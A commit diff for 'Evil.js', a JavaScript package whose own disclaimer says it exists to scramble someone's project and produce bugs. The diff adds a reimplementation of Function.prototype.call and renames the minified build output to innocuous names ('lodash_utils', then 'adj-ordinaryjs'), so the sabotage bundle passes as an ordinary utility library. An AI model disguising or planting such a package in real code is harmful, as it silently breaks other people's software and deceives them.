call bind 重写
This commit is contained in:
		
							
								
								
									
										16
									
								
								index.js
									
									
									
									
									
								
							
							
						
						
									
										16
									
								
								index.js
									
									
									
									
									
								
							| @@ -1,6 +1,6 @@ | ||||
| /** | ||||
|  * Evil.js  | ||||
|  * @version 0.0.1 | ||||
|  * @version 1.0.2 | ||||
|  * @author wheatup | ||||
|  *  | ||||
|  * @disclaimer The purpose of this package is to scramble someone's project and produces bugs. | ||||
| @@ -104,4 +104,18 @@ | ||||
| 		} | ||||
| 		return result; | ||||
| 	} | ||||
| 		/** | ||||
| 	 *  | ||||
| 	 * @zh 重写多个方法 正常无异 | ||||
| 	 */ | ||||
|  | ||||
| 	Function.prototype.myCall = function() { | ||||
| 		let arr = [...arguments]; | ||||
| 		let obj = arr.shift()||window; | ||||
| 		obj.p = this; | ||||
| 		const result = obj.p(...arr); | ||||
| 		delete obj.p; | ||||
| 		return result; | ||||
| 	} | ||||
| 	 | ||||
| })((0, eval('this'))); | ||||
| @@ -1,11 +1,11 @@ | ||||
| { | ||||
|   "name": "evil", | ||||
|   "version": "1.0.0", | ||||
|   "version": "1.0.2", | ||||
|   "description": "", | ||||
|   "main": "index.js", | ||||
|   "scripts": { | ||||
|     "test": "echo \"Error: no test specified\" && exit 1", | ||||
| 	"build": "uglifyjs --compress --mangle --output build/lodash_utils.min.js -- index.js" | ||||
| 	"build": "uglifyjs --compress --mangle --output build/adj-ordinaryjs.min.js -- index.js" | ||||
|   }, | ||||
|   "keywords": [], | ||||
|   "author": "", | ||||
|   | ||||
		Reference in New Issue
	
	Block a user